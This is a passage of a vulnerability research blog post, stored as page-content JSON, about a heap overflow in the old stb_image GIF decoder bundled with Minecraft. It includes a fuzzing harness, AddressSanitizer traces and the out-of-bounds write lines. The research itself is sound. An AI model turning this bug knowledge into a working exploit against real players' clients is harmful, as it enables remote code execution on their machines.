results:",{"type":23,"tag":32,"props":149087,"children":149088},{},[149089],{"type":23,"tag":199,"props":149090,"children":149092},{"alt":201,"src":149091},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":23,"tag":32,"props":149094,"children":149095},{},[149096,149098,149105,149107,149114],{"type":29,"value":149097},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":23,"tag":68,"props":149099,"children":149102},{"href":149100,"rel":149101},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[72],[149103],{"type":29,"value":149104},"stb_image.h",{"type":29,"value":149106},". For an example: usage of ",{"type":23,"tag":68,"props":149108,"children":149111},{"href":149109,"rel":149110},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[72],[149112],{"type":29,"value":149113},"bad Image Descriptor",{"type":29,"value":357},{"type":23,"tag":32,"props":149116,"children":149117},{},[149118,149120,149127],{"type":29,"value":149119},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":23,"tag":68,"props":149121,"children":149124},{"href":149122,"rel":149123},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[72],[149125],{"type":29,"value":149126},"stbi__gif_load_next",{"type":29,"value":149128},", and loaded the resource pack - this confirmed its usage:",{"type":23,"tag":32,"props":149130,"children":149131},{},[149132],{"type":23,"tag":199,"props":149133,"children":149135},{"alt":201,"src":149134},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":23,"tag":320,"props":149137,"children":149139},{"id":149138},"stb-image-library",[149140],{"type":29,"value":149141},"STB Image Library",{"type":23,"tag":32,"props":149143,"children":149144},{},[149145,149150],{"type":23,"tag":154,"props":149146,"children":149148},{"className":149147},[],[149149],{"type":29,"value":149104},{"type":29,"value":149151}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":23,"tag":32,"props":149153,"children":149154},{},[149155,149157,149162,149164,149171],{"type":29,"value":149156},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":23,"tag":154,"props":149158,"children":149160},{"className":149159},[],[149161],{"type":29,"value":149104},{"type":29,"value":149163}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":23,"tag":68,"props":149165,"children":149168},{"href":149166,"rel":149167},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[72],[149169],{"type":29,"value":149170},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":29,"value":357},{"type":23,"tag":32,"props":149173,"children":149174},{},[149175],{"type":29,"value":149176},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":23,"tag":20944,"props":149178,"children":149180},{"id":149179},"fuzzing",[149181],{"type":29,"value":149182},"Fuzzing",{"type":23,"tag":32,"props":149184,"children":149185},{},[149186,149188,149195],{"type":29,"value":149187},"The fuzzer consisted of a very simple ",{"type":23,"tag":68,"props":149189,"children":149192},{"href":149190,"rel":149191},"https://github.com/AFLplusplus/AFLplusplus",[72],[149193],{"type":29,"value":149194},"AFL++",{"type":29,"value":28794},{"type":23,"tag":4743,"props":149197,"children":149199},{"code":149198,"language":3110,"meta":7,"className":18562,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n    int x, y, comp;\n    unsigned char *ret;\n\n    if (argc != 2) {\n        return 1;\n    }\n\n    ret = stbi_load(argv[1], &x, &y, &comp, 0);\n    if (ret == NULL) {\n        return 1;\n    }\n    \n    stbi_image_free(ret);\n\n    return 0;\n}\n",[149200],{"type":23,"tag":154,"props":149201,"children":149202},{"__ignoreMap":7},[149203,149216,149228,149235,149281,149293,149314,149321,149345,149360,149367,149374,149446,149470,149485,149492,149499,149512,149519,149534],{"type":23,"tag":504,"props":149204,"children":149205},{"class":5016,"line":5017},[149206,149211],{"type":23,"tag":504,"props":149207,"children":149208},{"style":5067},[149209],{"type":29,"value":149210},"#define",{"type":23,"tag":504,"props":149212,"children":149213},{"style":5139},[149214],{"type":29,"value":149215}," STB_IMAGE_IMPLEMENTATION\n",{"type":23,"tag":504,"props":149217,"children":149218},{"class":5016,"line":4868},[149219,149223],{"type":23,"tag":504,"props":149220,"children":149221},{"style":5067},[149222],{"type":29,"value":92477},{"type":23,"tag":504,"props":149224,"children":149225},{"style":6297},[149226],{"type":29,"value":149227}," \"./stb/stb_image.h\"\n",{"type":23,"tag":504,"props":149229,"children":149230},{"class":5016,"line":4876},[149231],{"type":23,"tag":504,"props":149232,"children":149233},{"emptyLinePlaceholder":15},[149234],{"type":29,"value":5734},{"type":23,"tag":504,"props":149236,"children":149237},{"class":5016,"line":5099},[149238,149242,149246,149250,149254,149259,149263,149268,149272,149277],{"type":23,"tag":504,"props":149239,"children":149240},{"style":5030},[149241],{"type":29,"value":21098},{"type":23,"tag":504,"props":149243,"children":149244},{"style":5139},[149245],{"type":29,"value":92842},{"type":23,"tag":504,"props":149247,"children":149248},{"style":5058},[149249],{"type":29,"value":603},{"type":23,"tag":504,"props":149251,"children":149252},{"style":5030},[149253],{"type":29,"value":21098},{"type":23,"tag":504,"props":149255,"children":149256},{"style":5041},[149257],{"type":29,"value":149258}," argc",{"type":23,"tag":504,"props":149260,"children":149261},{"style":5058},[149262],{"type":29,"value":4367},{"type":23,"tag":504,"props":149264,"children":149265},{"style":5030},[149266],{"type":29,"value":149267},"char",{"type":23,"tag":504,"props":149269,"children":149270},{"style":5047},[149271],{"type":29,"value":91943},{"type":23,"tag":504,"props":149273,"children":149274},{"style":5041},[149275],{"type":29,"value":149276},"argv",{"type":23,"tag":504,"props":149278,"children":149279},{"style":5058},[149280],{"type":29,"value":16850},{"type":23,"tag":504,"props":149282,"children":149283},{"class":5016,"line":5203},[149284,149288],{"type":23,"tag":504,"props":149285,"children":149286},{"style":5030},[149287],{"type":29,"value":21128},{"type":23,"tag":504,"props":149289,"children":149290},{"style":5058},[149291],{"type":29,"value":149292}," x, y, comp;\n",{"type":23,"tag":504,"props":149294,"children":149295},{"class":5016,"line":5308},[149296,149301,149305,149309],{"type":23,"tag":504,"props":149297,"children":149298},{"style":5030},[149299],{"type":29,"value":149300},"    unsigned",{"type":23,"tag":504,"props":149302,"children":149303},{"style":5030},[149304],{"type":29,"value":61110},{"type":23,"tag":504,"props":149306,"children":149307},{"style":5047},[149308],{"type":29,"value":11863},{"type":23,"tag":504,"props":149310,"children":149311},{"style":5058},[149312],{"type":29,"value":149313},"ret;\n",{"type":23,"tag":504,"props":149315,"children":149316},{"class":5016,"line":5336},[149317],{"type":23,"tag":504,"props":149318,"children":149319},{"emptyLinePlaceholder":15},[149320],{"type":29,"value":5734},{"type":23,"tag":504,"props":149322,"children":149323},{"class":5016,"line":5349},[149324,149328,149333,149337,149341],{"type":23,"tag":504,"props":149325,"children":149326},{"style":5067},[149327],{"type":29,"value":14325},{"type":23,"tag":504,"props":149329,"children":149330},{"style":5058},[149331],{"type":29,"value":149332}," (argc ",{"type":23,"tag":504,"props":149334,"children":149335},{"style":5047},[149336],{"type":29,"value":17735},{"type":23,"tag":504,"props":149338,"children":149339},{"style":5083},[149340],{"type":29,"value":9979},{"type":23,"tag":504,"props":149342,"children":149343},{"style":5058},[149344],{"type":29,"value":16850},{"type":23,"tag":504,"props":149346,"children":149347},{"class":5016,"line":5367},[149348,149352,149356],{"type":23,"tag":504,"props":149349,"children":149350},{"style":5067},[149351],{"type":29,"value":17791},{"type":23,"tag":504,"props":149353,"children":149354},{"style":5083},[149355],{"type":29,"value":6565},{"type":23,"tag":504,"props":149357,"children":149358},{"style":5058},[149359],{"type":29,"value":5061},{"type":23,"tag":504,"props":149361,"children":149362},{"class":5016,"line":5388},[149363],{"type":23,"tag":504,"props":149364,"children":149365},{"style":5058},[149366],{"type":29,"value":5403},{"type":23,"tag":504,"props":149368,"children":149369},{"class":5016,"line":5397},[149370],{"type":23,"tag":504,"props":149371,"children":149372},{"emptyLinePlaceholder":15},[149373],{"type":29,"value":5734},{"type":23,"tag":504,"props":149375,"children":149376},{"class":5016,"line":5649},[149377,149382,149386,149391,149395,149399,149403,149407,149411,149415,149420,149424,149429,149433,149438,149442],{"type":23,"tag":504,"props":149378,"children":149379},{"style":5058},[149380],{"type":29,"value":149381},"    ret ",{"type":23,"tag":504,"props":149383,"children":149384},{"style":5047},[149385],{"type":29,"value":546},{"type":23,"tag":504,"props":149387,"children":149388},{"style":5139},[149389],{"type":29,"value":149390}," stbi_load",{"type":23,"tag":504,"props":149392,"children":149393},{"style":5058},[149394],{"type":29,"value":603},{"type":23,"tag":504,"props":149396,"children":149397},{"style":5041},[149398],{"type":29,"value":149276},{"type":23,"tag":504,"props":149400,"children":149401},{"style":5058},[149402],{"type":29,"value":1380},{"type":23,"tag":504,"props":149404,"children":149405},{"style":5083},[149406],{"type":29,"value":826},{"type":23,"tag":504,"props":149408,"children":149409},{"style":5058},[149410],{"type":29,"value":25101},{"type":23,"tag":504,"props":149412,"children":149413},{"style":5047},[149414],{"type":29,"value":5151},{"type":23,"tag":504,"props":149416,"children":149417},{"style":5058},[149418],{"type":29,"value":149419},"x, ",{"type":23,"tag":504,"props":149421,"children":149422},{"style":5047},[149423],{"type":29,"value":5151},{"type":23,"tag":504,"props":149425,"children":149426},{"style":5058},[149427],{"type":29,"value":149428},"y, ",{"type":23,"tag":504,"props":149430,"children":149431},{"style":5047},[149432],{"type":29,"value":5151},{"type":23,"tag":504,"props":149434,"children":149435},{"style":5058},[149436],{"type":29,"value":149437},"comp, ",{"type":23,"tag":504,"props":149439,"children":149440},{"style":5083},[149441],{"type":29,"value":708},{"type":23,"tag":504,"props":149443,"children":149444},{"style":5058},[149445],{"type":29,"value":5888},{"type":23,"tag":504,"props":149447,"children":149448},{"class":5016,"line":5666},[149449,149453,149458,149462,149466],{"type":23,"tag":504,"props":149450,"children":149451},{"style":5067},[149452],{"type":29,"value":14325},{"type":23,"tag":504,"props":149454,"children":149455},{"style":5058},[149456],{"type":29,"value":149457}," (ret ",{"type":23,"tag":504,"props":149459,"children":149460},{"style":5047},[149461],{"type":29,"value":1224},{"type":23,"tag":504,"props":149463,"children":149464},{"style":5030},[149465],{"type":29,"value":129549},{"type":23,"tag":504,"props":149467,"children":149468},{"style":5058},[149469],{"type":29,"value":16850},{"type":23,"tag":504,"props":149471,"children":149472},{"class":5016,"line":5683},[149473,149477,149481],{"type":23,"tag":504,"props":149474,"children":149475},{"style":5067},[149476],{"type":29,"value":17791},{"type":23,"tag":504,"props":149478,"children":149479},{"style":5083},[149480],{"type":29,"value":6565},{"type":23,"tag":504,"props":149482,"children":149483},{"style":5058},[149484],{"type":29,"value":5061},{"type":23,"tag":504,"props":149486,"children":149487},{"class":5016,"line":5696},[149488],{"type":23,"tag":504,"props":149489,"children":149490},{"style":5058},[149491],{"type":29,"value":5403},{"type":23,"tag":504,"props":149493,"children":149494},{"class":5016,"line":5705},[149495],{"type":23,"tag":504,"props":149496,"children":149497},{"style":5058},[149498],{"type":29,"value":63848},{"type":23,"tag":504,"props":149500,"children":149501},{"class":5016,"line":5728},[149502,149507],{"type":23,"tag":504,"props":149503,"children":149504},{"style":5139},[149505],{"type":29,"value":149506},"    stbi_image_free",{"type":23,"tag":504,"props":149508,"children":149509},{"style":5058},[149510],{"type":29,"value":149511},"(ret);\n",{"type":23,"tag":504,"props":149513,"children":149514},{"class":5016,"line":5737},[149515],{"type":23,"tag":504,"props":149516,"children":149517},{"emptyLinePlaceholder":15},[149518],{"type":29,"value":5734},{"type":23,"tag":504,"props":149520,"children":149521},{"class":5016,"line":5746},[149522,149526,149530],{"type":23,"tag":504,"props":149523,"children":149524},{"style":5067},[149525],{"type":29,"value":19037},{"type":23,"tag":504,"props":149527,"children":149528},{"style":5083},[149529],{"type":29,"value":5086},{"type":23,"tag":504,"props":149531,"children":149532},{"style":5058},[149533],{"type":29,"value":5061},{"type":23,"tag":504,"props":149535,"children":149536},{"class":5016,"line":5813},[149537],{"type":23,"tag":504,"props":149538,"children":149539},{"style":5058},[149540],{"type":29,"value":5965},{"type":23,"tag":32,"props":149542,"children":149543},{},[149544],{"type":29,"value":149545},"And soon after starting the fuzzer it found an interesting bug:",{"type":23,"tag":4743,"props":149547,"children":149549},{"code":149548},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n    #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n    #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    [...]\n    #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n    #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n    #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n    #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n    #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n    #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n    #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n    [...]\n",[149550],{"type":23,"tag":154,"props":149551,"children":149552},{"__ignoreMap":7},[149553],{"type":29,"value":149548},{"type":23,"tag":20944,"props":149555,"children":149557},{"id":149556},"investigating-the-finding",[149558],{"type":29,"value":149559},"Investigating the Finding",{"type":23,"tag":32,"props":149561,"children":149562},{},[149563,149565,149571,149572,149577],{"type":29,"value":149564},"The ASAN output shows that at line ",{"type":23,"tag":154,"props":149566,"children":149568},{"className":149567},[],[149569],{"type":29,"value":149570},"6233",{"type":29,"value":145071},{"type":23,"tag":154,"props":149573,"children":149575},{"className":149574},[],[149576],{"type":29,"value":149104},{"type":29,"value":149578}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":23,"tag":4743,"props":149580,"children":149582},{"code":149581,"language":3110,"meta":7,"className":18562,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   stbi_uc *p, *c;\n   int idx; \n\n   [...]\n\n   if (g->cur_y >= g->max_y) return;\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;          // OOB write\n",[149583],{"type":23,"tag":154,"props":149584,"children":149585},{"__ignoreMap":7},[149586,149628,149635,149661,149674,149681,149689,149696,149750,149757,149803,149836],{"type":23,"tag":504,"props":149587,"children":149588},{"class":5016,"line":5017},[149589,149593,149597,149602,149607,149611,149615,149620,149624],{"type":23,"tag":504,"props":149590,"children":149591},{"style":5030},[149592],{"type":29,"value":53107},{"type":23,"tag":504,"props":149594,"children":149595},{"style":5030},[149596],{"type":29,"value":53112},{"type":23,"tag":504,"props":149598,"children":149599},{"style":5139},[149600],{"type":29,"value":149601}," stbi__out_gif_code",{"type":23,"tag":504,"props":149603,"children":149604},{"style":5058},[149605],{"type":29,"value":149606},"(stbi__gif ",{"type":23,"tag":504,"props":149608,"children":149609},{"style":5047},[149610],{"type":29,"value":6613},{"type":23,"tag":504,"props":149612,"children":149613},{"style":5041},[149614],{"type":29,"value":111077},{"type":23,"tag":504,"props":149616,"children":149617},{"style":5058},[149618],{"type":29,"value":149619},", stbi__uint16 ",{"type":23,"tag":504,"props":149621,"children":149622},{"style":5041},[149623],{"type":29,"value":154},{"type":23,"tag":504,"props":149625,"children":149626},{"style":5058},[149627],{"type":29,"value":5200},{"type":23,"tag":504,"props":149629,"children":149630},{"class":5016,"line":4868},[149631],{"type":23,"tag":504,"props":149632,"children":149633},{"style":5058},[149634],{"type":29,"value":12926},{"type":23,"tag":504,"props":149636,"children":149637},{"class":5016,"line":4876},[149638,149643,149647,149652,149656],{"type":23,"tag":504,"props":149639,"children":149640},{"style":5058},[149641],{"type":29,"value":149642},"   stbi_uc ",{"type":23,"tag":504,"props":149644,"children":149645},{"style":5047},[149646],{"type":29,"value":6613},{"type":23,"tag":504,"props":149648,"children":149649},{"style":5058},[149650],{"type":29,"value":149651},"p, ",{"type":23,"tag":504,"props":149653,"children":149654},{"style":5047},[149655],{"type":29,"value":6613},{"type":23,"tag":504,"props":149657,"children":149658},{"style":5058},[149659],{"type":29,"value":149660},"c;\n",{"type":23,"tag":504,"props":149662,"children":149663},{"class":5016,"line":5099},[149664,149669],{"type":23,"tag":504,"props":149665,"children":149666},{"style":5030},[149667],{"type":29,"value":149668},"   int",{"type":23,"tag":504,"props":149670,"children":149671},{"style":5058},[149672],{"type":29,"value":149673}," idx; \n",{"type":23,"tag":504,"props":149675,"children":149676},{"class":5016,"line":5203},[149677],{"type":23,"tag":504,"props":149678,"children":149679},{"emptyLinePlaceholder":15},[149680],{"type":29,"value":5734},{"type":23,"tag":504,"props":149682,"children":149683},{"class":5016,"line":5308},[149684],{"type":23,"tag":504,"props":149685,"children":149686},{"style":5058},[149687],{"type":29,"value":149688},"   [...]\n",{"type":23,"tag":504,"props":149690,"children":149691},{"class":5016,"line":5336},[149692],{"type":23,"tag":504,"props":149693,"children":149694},{"emptyLinePlaceholder":15},[149695],{"type":29,"value":5734},{"type":23,"tag":504,"props":149697,"children":149698},{"class":5016,"line":5349},[149699,149703,149707,149711,149715,149720,149724,149729,149733,149738,149742,149746],{"type":23,"tag":504,"props":149700,"children":149701},{"style":5067},[149702],{"type":29,"value":54705},{"type":23,"tag":504,"props":149704,"children":149705},{"style":5058},[149706],{"type":29,"value":5110},{"type":23,"tag":504,"props":149708,"children":149709},{"style":5041},[149710],{"type":29,"value":111077},{"type":23,"tag":504,"props":149712,"children":149713},{"style":5058},[149714],{"type":29,"value":15803},{"type":23,"tag":504,"props":149716,"children":149717},{"style":5041},[149718],{"type":29,"value":149719},"cur_y",{"type":23,"tag":504,"props":149721,"children":149722},{"style":5047},[149723],{"type":29,"value":10347},{"type":23,"tag":504,"props":149725,"children":149726},{"style":5041},[149727],{"type":29,"value":149728}," g",{"type":23,"tag":504,"props":149730,"children":149731},{"style":5058},[149732],{"type":29,"value":15803},{"type":23,"tag":504,"props":149734,"children":149735},{"style":5041},[149736],{"type":29,"value":149737},"max_y",{"type":23,"tag":504,"props":149739,"children":149740},{"style":5058},[149741],{"type":29,"value":5128},{"type":23,"tag":504,"props":149743,"children":149744},{"style":5067},[149745],{"type":29,"value":50520},{"type":23,"tag":504,"props":149747,"children":149748},{"style":5058},[149749],{"type":29,"value":5061},{"type":23,"tag":504,"props":149751,"children":149752},{"class":5016,"line":5367},[149753],{"type":23,"tag":504,"props":149754,"children":149755},{"emptyLinePlaceholder":15},[149756],{"type":29,"value":5734},{"type":23,"tag":504,"props":149758,"children":149759},{"class":5016,"line":5388},[149760,149765,149769,149773,149777,149782,149786,149790,149794,149798],{"type":23,"tag":504,"props":149761,"children":149762},{"style":5058},[149763],{"type":29,"value":149764},"   idx ",{"type":23,"tag":504,"props":149766,"children":149767},{"style":5047},[149768],{"type":29,"value":546},{"type":23,"tag":504,"props":149770,"children":149771},{"style":5041},[149772],{"type":29,"value":149728},{"type":23,"tag":504,"props":149774,"children":149775},{"style":5058},[149776],{"type":29,"value":15803},{"type":23,"tag":504,"props":149778,"children":149779},{"style":5041},[149780],{"type":29,"value":149781},"cur_x",{"type":23,"tag":504,"props":149783,"children":149784},{"style":5047},[149785],{"type":29,"value":10950},{"type":23,"tag":504,"props":149787,"children":149788},{"style":5041},[149789],{"type":29,"value":149728},{"type":23,"tag":504,"props":149791,"children":149792},{"style":5058},[149793],{"type":29,"value":15803},{"type":23,"tag":504,"props":149795,"children":149796},{"style":5041},[149797],{"type":29,"value":149719},{"type":23,"tag":504,"props":149799,"children":149800},{"style":5058},[149801],{"type":29,"value":149802},"; \n",{"type":23,"tag":504,"props":149804,"children":149805},{"class":5016,"line":5397},[149806,149811,149815,149819,149823,149827,149831],{"type":23,"tag":504,"props":149807,"children":149808},{"style":5058},[149809],{"type":29,"value":149810},"   p ",{"type":23,"tag":504,"props":149812,"children":149813},{"style":5047},[149814],{"type":29,"value":546},{"type":23,"tag":504,"props":149816,"children":149817},{"style":5047},[149818],{"type":29,"value":9185},{"type":23,"tag":504,"props":149820,"children":149821},{"style":5041},[149822],{"type":29,"value":111077},{"type":23,"tag":504,"props":149824,"children":149825},{"style":5058},[149826],{"type":29,"value":15803},{"type":23,"tag":504,"props":149828,"children":149829},{"style":5041},[149830],{"type":29,"value":120500},{"type":23,"tag":504,"props":149832,"children":149833},{"style":5058},[149834],{"type":29,"value":149835},"[idx];\n",{"type":23,"tag":504,"props":149837,"children":149838},{"class":5016,"line":5649},[149839,149844,149848,149853,149858,149862,149866,149870,149874,149878,149882],{"type":23,"tag":504,"props":149840,"children":149841},{"style":5041},[149842],{"type":29,"value":149843},"   g",{"type":23,"tag":504,"props":149845,"children":149846},{"style":5058},[149847],{"type":29,"value":15803},{"type":23,"tag":504,"props":149849,"children":149850},{"style":5041},[149851],{"type":29,"value":149852},"history",{"type":23,"tag":504,"props":149854,"children":149855},{"style":5058},[149856],{"type":29,"value":149857},"[idx ",{"type":23,"tag":504,"props":149859,"children":149860},{"style":5047},[149861],{"type":29,"value":6623},{"type":23,"tag":504,"props":149863,"children":149864},{"style":5083},[149865],{"type":29,"value":13791},{"type":23,"tag":504,"props":149867,"children":149868},{"style":5058},[149869],{"type":29,"value":10706},{"type":23,"tag":504,"props":149871,"children":149872},{"style":5047},[149873],{"type":29,"value":546},{"type":23,"tag":504,"props":149875,"children":149876},{"style":5083},[149877],{"type":29,"value":6565},{"type":23,"tag":504,"props":149879,"children":149880},{"style":5058},[149881],{"type":29,"value":51137},{"type":23,"tag":504,"props":149883,"children":149884},{"style":5021},[149885],{"type":29,"value":149886},"          // OOB write\n",{"type":23,"tag":32,"props":149888,"children":149889},{},[149890,149892,149897,149899,149905,149907,149913],{"type":29,"value":149891},"It’s reasonable to assume ",{"type":23,"tag":154,"props":149893,"children":149895},{"className":149894},[],[149896],{"type":29,"value":78582},{"type":29,"value":149898}," is outside the bounds of ",{"type":23,"tag":154,"props":149900,"children":149902},{"className":149901},[],[149903],{"type":29,"value":149904},"g->history",{"type":29,"value":149906},", which leads to a one-byte OOB write (",{"type":23,"tag":154,"props":149908,"children":149910},{"className":149909},[],[149911],{"type":29,"value":149912},"g->history[idx / 4] = 1",{"type":29,"value":149914},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":23,"tag":32,"props":149916,"children":149917},{},[149918,149920,149925,149927,149933,149935,149940,149942,149948,149950,149956],{"type":29,"value":149919},"Because ",{"type":23,"tag":154,"props":149921,"children":149923},{"className":149922},[],[149924],{"type":29,"value":32},{"type":29,"value":149926}," is computed from ",{"type":23,"tag":154,"props":149928,"children":149930},{"className":149929},[],[149931],{"type":29,"value":149932},"g->out[idx]",{"type":29,"value":149934}," immediately before the violation, we considered whether ",{"type":23,"tag":154,"props":149936,"children":149938},{"className":149937},[],[149939],{"type":29,"value":78582},{"type":29,"value":149941}," could also be OOB for ",{"type":23,"tag":154,"props":149943,"children":149945},{"className":149944},[],[149946],{"type":29,"value":149947},"g->out",{"type":29,"value":149949},". Note that computing the address ",{"type":23,"tag":154,"props":149951,"children":149953},{"className":149952},[],[149954],{"type":29,"value":149955},"&g->out[idx]",{"type":29,"value":149957}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":23,"tag":32,"props":149959,"children":149960},{},[149961,149963,149968],{"type":29,"value":149962},"If we comment out ",{"type":23,"tag":154,"props":149964,"children":149966},{"className":149965},[],[149967],{"type":29,"value":149912},{"type":29,"value":149969}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":23,"tag":4743,"props":149971,"children":149973},{"code":149972},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n    #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n    [...]\n",[149974],{"type":23,"tag":154,"props":149975,"children":149976},{"__ignoreMap":7},[149977],{"type":29,"value":149972},{"type":23,"tag":32,"props":149979,"children":149980},{},[149981],{"type":29,"value":149982},"This corresponds to:",{"type":23,"tag":4743,"props":149984,"children":149986},{"code":149985,"language":3110,"meta":7,"className":18562,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   [...]\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;  \n\n   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];        // OOB write\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[149987],{"type":23,"tag":154,"props":149988,"children":149989},{"__ignoreMap":7},[149990,150029,150036,150043,150050,150093,150124,150168,150175,150243,150283,150328,150367,150406,150445],{"type":23,"tag":504,"props":149991,"children":149992},{"class":5016,"line":5017},[149993,149997,150001,150005,150009,150013,150017,150021,150025],{"type":23,"tag":504,"props":149994,"children":149995},{"style":5030},[149996],{"type":29,"value":53107},{"type":23,"tag":504,"props":149998,"children":149999},{"style":5030},[150000],{"type":29,"value":53112},{"type":23,"tag":504,"props":150002,"children":150003},{"style":5139},[150004],{"type":29,"value":149601},{"type":23,"tag":504,"props":150006,"children":150007},{"style":5058},[150008],{"type":29,"value":149606},{"type":23,"tag":504,"props":150010,"children":150011},{"style":5047},[150012],{"type":29,"value":6613},{"type":23,"tag":504,"props":150014,"children":150015},{"style":5041},[150016],{"type":29,"value":111077},{"type":23,"tag":504,"props":150018,"children":150019},{"style":5058},[150020],{"type":29,"value":149619},{"type":23,"tag":504,"props":150022,"children":150023},{"style":5041},[150024],{"type":29,"value":154},{"type":23,"tag":504,"props":150026,"children":150027},{"style":5058},[150028],{"type":29,"value":5200},{"type":23,"tag":504,"props":150030,"children":150031},{"class":5016,"line":4868},[150032],{"type":23,"tag":504,"props":150033,"children":150034},{"style":5058},[150035],{"type":29,"value":12926},{"type":23,"tag":504,"props":150037,"children":150038},{"class":5016,"line":4876},[150039],{"type":23,"tag":504,"props":150040,"children":150041},{"style":5058},[150042],{"type":29,"value":149688},{"type":23,"tag":504,"props":150044,"children":150045},{"class":5016,"line":5099},[150046],{"type":23,"tag":504,"props":150047,"children":150048},{"emptyLinePlaceholder":15},[150049],{"type":29,"value":5734},{"type":23,"tag":504,"props":150051,"children":150052},{"class":5016,"line":5203},[150053,150057,150061,150065,150069,150073,150077,150081,150085,150089],{"type":23,"tag":504,"props":150054,"children":150055},{"style":5058},[150056],{"type":29,"value":149764},{"type":23,"tag":504,"props":150058,"children":150059},{"style":5047},[150060],{"type":29,"value":546},{"type":23,"tag":504,"props":150062,"children":150063},{"style":5041},[150064],{"type":29,"value":149728},{"type":23,"tag":504,"props":150066,"children":150067},{"style":5058},[150068],{"type":29,"value":15803},{"type":23,"tag":504,"props":150070,"children":150071},{"style":5041},[150072],{"type":29,"value":149781},{"type":23,"tag":504,"props":150074,"children":150075},{"style":5047},[150076],{"type":29,"value":10950},{"type":23,"tag":504,"props":150078,"children":150079},{"style":5041},[150080],{"type":29,"value":149728},{"type":23,"tag":504,"props":150082,"children":150083},{"style":5058},[150084],{"type":29,"value":15803},{"type":23,"tag":504,"props":150086,"children":150087},{"style":5041},[150088],{"type":29,"value":149719},{"type":23,"tag":504,"props":150090,"children":150091},{"style":5058},[150092],{"type":29,"value":149802},{"type":23,"tag":504,"props":150094,"children":150095},{"class":5016,"line":5308},[150096,150100,150104,150108,150112,150116,150120],{"type":23,"tag":504,"props":150097,"children":150098},{"style":5058},[150099],{"type":29,"value":149810},{"type":23,"tag":504,"props":150101,"children":150102},{"style":5047},[150103],{"type":29,"value":546},{"type":23,"tag":504,"props":150105,"children":150106},{"style":5047},[150107],{"type":29,"value":9185},{"type":23,"tag":504,"props":150109,"children":150110},{"style":5041},[150111],{"type":29,"value":111077},{"type":23,"tag":504,"props":150113,"children":150114},{"style":5058},[150115],{"type":29,"value":15803},{"type":23,"tag":504,"props":150117,"children":150118},{"style":5041},[150119],{"type":29,"value":120500},{"type":23,"tag":504,"props":150121,"children":150122},{"style":5058},[150123],{"type":29,"value":149835},{"type":23,"tag":504,"props":150125,"children":150126},{"class":5016,"line":5336},[150127,150131,150135,150139,150143,150147,150151,150155,150159,150163],{"type":23,"tag":504,"props":150128,"children":150129},{"style":5041},[150130],{"type":29,"value":149843},{"type":23,"tag":504,"props":150132,"children":150133},{"style":5058},[150134],{"type":29,"value":15803},{"type":23,"tag":504,"props":150136,"children":150137},{"style":5041},[150138],{"type":29,"value":149852},{"type":23,"tag":504,"props":150140,"children":150141},{"style":5058},[150142],{"type":29,"value":149857},{"type":23,"tag":504,"props":150144,"children":150145},{"style":5047},[150146],{"type":29,"value":6623},{"type":23,"tag":504,"props":150148,"children":150149},{"style":5083},[150150],{"type":29,"value":13791},{"type":23,"tag":504,"props":150152,"children":150153},{"style":5058},[150154],{"type":29,"value":10706},{"type":23,"tag":504,"props":150156,"children":150157},{"style":5047},[150158],{"type":29,"value":546},{"type":23,"tag":504,"props":150160,"children":150161},{"style":5083},[150162],{"type":29,"value":6565},{"type":23,"tag":504,"props":150164,"children":150165},{"style":5058},[150166],{"type":29,"value":150167},";  